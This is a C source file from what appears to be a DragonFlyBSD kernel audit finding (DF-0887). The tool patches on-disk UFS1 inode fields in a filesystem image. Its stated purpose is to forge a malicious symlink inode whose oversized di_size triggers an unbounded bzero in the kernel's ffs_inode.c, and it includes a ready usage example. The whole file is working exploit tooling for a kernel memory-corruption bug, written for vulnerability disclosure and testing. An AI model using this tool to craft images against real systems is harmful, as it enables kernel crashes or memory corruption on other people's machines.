DragonFlyBSD Kernel Audit
DF-0887 / craft_img.c
← back to finding ↓ download raw
/*
 * craft_img.c - DF-0887 UFS inode patcher.
 *
 * Reads a base UFS1 image (produced by `newfs`), computes the on-disk byte
 * offset of a specified inode using the cylinder-group geometry in the
 * superblock, and patches selected 1/2/4/8-byte fields of the on-disk
 * `struct ufs1_dinode`. Used to forge the malicious VLNK inode that triggers
 * the unbounded `bzero(&i_shortlink, (uint)i_size)` in
 * sys/vfs/ufs/ffs_inode.c:165 (DF-0887).
 *
 * Geometry source: sys/vfs/ufs/fs.h macros ino_to_cg / ino_to_fsba /
 * ino_to_fsbo / cgimin / cgstart / cgbase (lines 442-460).
 *
 * Inode byte offset formula (all frags are fs_fsize bytes on disk):
 *   cg          = ino / fs_ipg
 *   cgstart_frag= fs_fpg * cg + fs_cgoffset * (cg & ~fs_cgmask)
 *   cgimin_frag = cgstart_frag + fs_iblkno
 *   ino_blk     = (ino % fs_ipg) / fs_inopb           (which inode block)
 *   fsba_frag   = cgimin_frag + ino_blk * fs_frag      (blkstofrags = *fs_frag)
 *   fsbo        = (ino % fs_ipg) % fs_inopb            (inode within block)
 *   byte_offset = fsba_frag * fs_fsize + fsbo * 128
 *
 * struct ufs1_dinode field byte offsets (sys/vfs/ufs/dinode.h:69-99):
 *   di_mode=0 (uint16)  di_nlink=2 (int16)  di_size=8 (uint64)
 *   di_db=40 (ufs_daddr_t[12]=48B)  di_blocks=104 (int32)
 *
 * Usage: craft_img <img> <ino> <field=size[:width]> [...]
 *   width defaults to the natural width of the named field; explicit override
 *   in bytes (1, 2, 4, 8). value is decimal or 0x-hex (use 0x... for raw LE).
 * Example:
 *   craft_img base.img 3 di_size=4096 di_nlink=0 di_blocks=0 di_mode=0xa1ff
 *
 * Build: cc -o craft_img craft_img.c
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <stdint.h>
#include <unistd.h>
#include <fcntl.h>

#define SBOFF 8192          /* on-disk superblock offset (fs.h:60 BBOFF+BBSIZE) */
#define DINODE_SIZE 128     /* sizeof(struct ufs1_dinode) */

/* superblock field byte offsets within `struct fs` (sys/vfs/ufs/fs.h:188-285). */
#define OFF_FS_SBLKNO   8
#define OFF_FS_CBLKNO   12
#define OFF_FS_IBLKNO   16
#define OFF_FS_DBLKNO   20
#define OFF_FS_CGOFFSET 24
#define OFF_FS_CGMASK   28
#define OFF_FS_BSIZE    48
#define OFF_FS_FSIZE    52
#define OFF_FS_FRAG     56
#define OFF_FS_INOPB    120
#define OFF_FS_IPG      184
#define OFF_FS_FPG      188

/* `struct ufs1_dinode` field byte offsets (sys/vfs/ufs/dinode.h:69-99). */
struct dinode_field {
    const char *name;
    size_t      off;
    int         width;     /* natural width in bytes */
};
static const struct dinode_field dfields[] = {
    {"di_mode",    0,  2},
    {"di_nlink",   2,  2},
    {"di_size",    8,  8},
    {"di_atime",  16,  4},
    {"di_db",     40,  4},     /* first element; treated as start of shortlink */
    {"di_blocks",104,  4},
    {"di_gen",   108,  4},
    {"di_uid",   112,  4},
    {"di_gid",   116,  4},
    {NULL, 0, 0}
};

static uint32_t rd32(const unsigned char *p){
    return (uint32_t)p[0] | ((uint32_t)p[1]<<8) |
           ((uint32_t)p[2]<<16) | ((uint32_t)p[3]<<24);
}

static void wrLE(unsigned char *p, uint64_t v, int w){
    for (int i=0;i<w;i++) p[i] = (unsigned char)((v >> (8*i)) & 0xff);
}

int main(int argc, char **argv){
    if (argc < 4) {
        fprintf(stderr,
          "usage: %s <img> <ino> <field=size[:width]> [...]\n"
          "  patches inode <ino> in <img>. fields: di_mode di_nlink di_size "
          "di_blocks di_db di_gen di_uid di_gid\n", argv[0]);
        return 2;
    }
    const char *imgpath = argv[1];
    long long  ino_ll = strtoll(argv[2], NULL, 10);
    if (ino_ll < 0) { fprintf(stderr,"bad ino\n"); return 2; }
    uint32_t ino = (uint32_t)ino_ll;

    FILE *f = fopen(imgpath, "r+b");
    if (!f) { perror("open img"); return 2; }
    fseek(f, 0, SEEK_END);
    long sz = ftell(f);
    fseek(f, 0, SEEK_SET);
    unsigned char *buf = malloc(sz);
    if (!buf) { perror("malloc"); return 2; }
    if ((long)fread(buf, 1, sz, f) != sz) { perror("read"); return 2; }

    /* sanity: superblock magic at SBOFF+1372 = 0x00011954 */
    uint32_t magic = rd32(buf + SBOFF + 1372);
    if (magic != 0x011954) {
        fprintf(stderr, "warn: fs_magic=0x%x (expected 0x011954)\n", magic);
    }

    /* read needed superblock fields */
    uint32_t fs_iblkno   = rd32(buf + SBOFF + OFF_FS_IBLKNO);
    uint32_t fs_cgoffset = rd32(buf + SBOFF + OFF_FS_CGOFFSET);
    uint32_t fs_cgmask   = rd32(buf + SBOFF + OFF_FS_CGMASK);
    uint32_t fs_bsize    = rd32(buf + SBOFF + OFF_FS_BSIZE);
    uint32_t fs_fsize    = rd32(buf + SBOFF + OFF_FS_FSIZE);
    uint32_t fs_frag     = rd32(buf + SBOFF + OFF_FS_FRAG);
    uint32_t fs_inopb    = rd32(buf + SBOFF + OFF_FS_INOPB);
    uint32_t fs_ipg      = rd32(buf + SBOFF + OFF_FS_IPG);
    uint32_t fs_fpg      = rd32(buf + SBOFF + OFF_FS_FPG);

    if (fs_fsize == 0 || fs_ipg == 0 || fs_inopb == 0) {
        fprintf(stderr, "bad sb geometry: fsize=%u ipg=%u inopb=%u\n",
                fs_fsize, fs_ipg, fs_inopb);
        return 2;
    }

    /* ino_to_cg / cgstart / cgimin / ino_to_fsba / ino_to_fsbo */
    uint32_t cg           = ino / fs_ipg;
    uint64_t cgbase_frag  = (uint64_t)fs_fpg * cg;
    uint64_t cgstart_frag = cgbase_frag + (uint64_t)fs_cgoffset * (cg & ~fs_cgmask);
    uint64_t cgimin_frag  = cgstart_frag + fs_iblkno;
    uint32_t ino_blk      = (ino % fs_ipg) / fs_inopb;
    uint64_t fsba_frag    = cgimin_frag + (uint64_t)ino_blk * fs_frag;
    uint32_t fsbo         = (ino % fs_ipg) % fs_inopb;
    uint64_t inode_byte   = fsba_frag * fs_fsize + (uint64_t)fsbo * DINODE_SIZE;

    printf("ino=%u cg=%u cgstart_frag=%llu cgimin_frag=%llu fsba_frag=%llu "
           "fsbo=%u inode_byte=%llu\n",
           ino, cg, (unsigned long long)cgstart_frag,
           (unsigned long long)cgimin_frag, (unsigned long long)fsba_frag,
           fsbo, (unsigned long long)inode_byte);
    printf("sb: iblkno=%u cgoffset=%u cgmask=0x%x bsize=%u fsize=%u frag=%u "
           "inopb=%u ipg=%u fpg=%u\n",
           fs_iblkno, fs_cgoffset, fs_cgmask, fs_bsize, fs_fsize, fs_frag,
           fs_inopb, fs_ipg, fs_fpg);

    if ((long)(inode_byte + DINODE_SIZE) > sz) {
        fprintf(stderr, "inode byte offset %llu beyond image size %ld\n",
                (unsigned long long)inode_byte, sz);
        return 2;
    }

    /* show before-state of the inode's key fields */
    unsigned char *ino_p = buf + inode_byte;
    printf("before: di_mode=0x%04x di_nlink=%u di_size=%llu di_blocks=%d\n",
           (unsigned)(ino_p[0] | (ino_p[1]<<8)),
           (unsigned)(ino_p[2] | (ino_p[3]<<8)),
           (unsigned long long)(
             (uint64_t)ino_p[8] | ((uint64_t)ino_p[9]<<8) |
             ((uint64_t)ino_p[10]<<16) | ((uint64_t)ino_p[11]<<24) |
             ((uint64_t)ino_p[12]<<32) | ((uint64_t)ino_p[13]<<40) |
             ((uint64_t)ino_p[14]<<48) | ((uint64_t)ino_p[15]<<56)),
           (int)(int32_t)rd32(ino_p+104));

    /* apply patches */
    for (int a=3; a<argc; a++) {
        char *arg = argv[a];
        char *eq = strchr(arg, '=');
        if (!eq) { fprintf(stderr,"bad arg '%s' (need field=value)\n", arg); return 2; }
        *eq = 0;
        char *fname = arg;
        char *vstr  = eq+1;
        int width = -1;
        char *colon = strchr(vstr, ':');
        if (colon) { *colon = 0; width = atoi(colon+1); }
        const struct dinode_field *fl = NULL;
        for (int i=0; dfields[i].name; i++)
            if (strcmp(dfields[i].name, fname)==0) { fl = &dfields[i]; break; }
        if (!fl) { fprintf(stderr,"unknown field '%s'\n", fname); return 2; }
        if (width < 1) width = fl->width;
        if (width != 1 && width != 2 && width != 4 && width != 8) {
            fprintf(stderr,"bad width %d for %s\n", width, fname); return 2;
        }
        unsigned long long v;
        char *end;
        if (vstr[0]=='0' && vstr[1]=='x') v = strtoull(vstr, &end, 16);
        else v = strtoull(vstr, &end, 10);
        if (*end != 0) { fprintf(stderr,"bad value '%s' for %s\n", vstr, fname); return 2; }
        if ((long)(inode_byte + fl->off + width) > sz) {
            fprintf(stderr,"patch out of range\n"); return 2;
        }
        wrLE(ino_p + fl->off, v, width);
        printf("patched %s @ ino off %zu width %d = 0x%llx\n",
               fname, fl->off, width, v);
    }

    /* commit */
    fseek(f, 0, SEEK_SET);
    if ((long)fwrite(buf, 1, sz, f) != sz) { perror("write"); return 2; }
    fclose(f);
    free(buf);
    printf("OK inode %u patched in %s\n", ino, imgpath);
    return 0;
}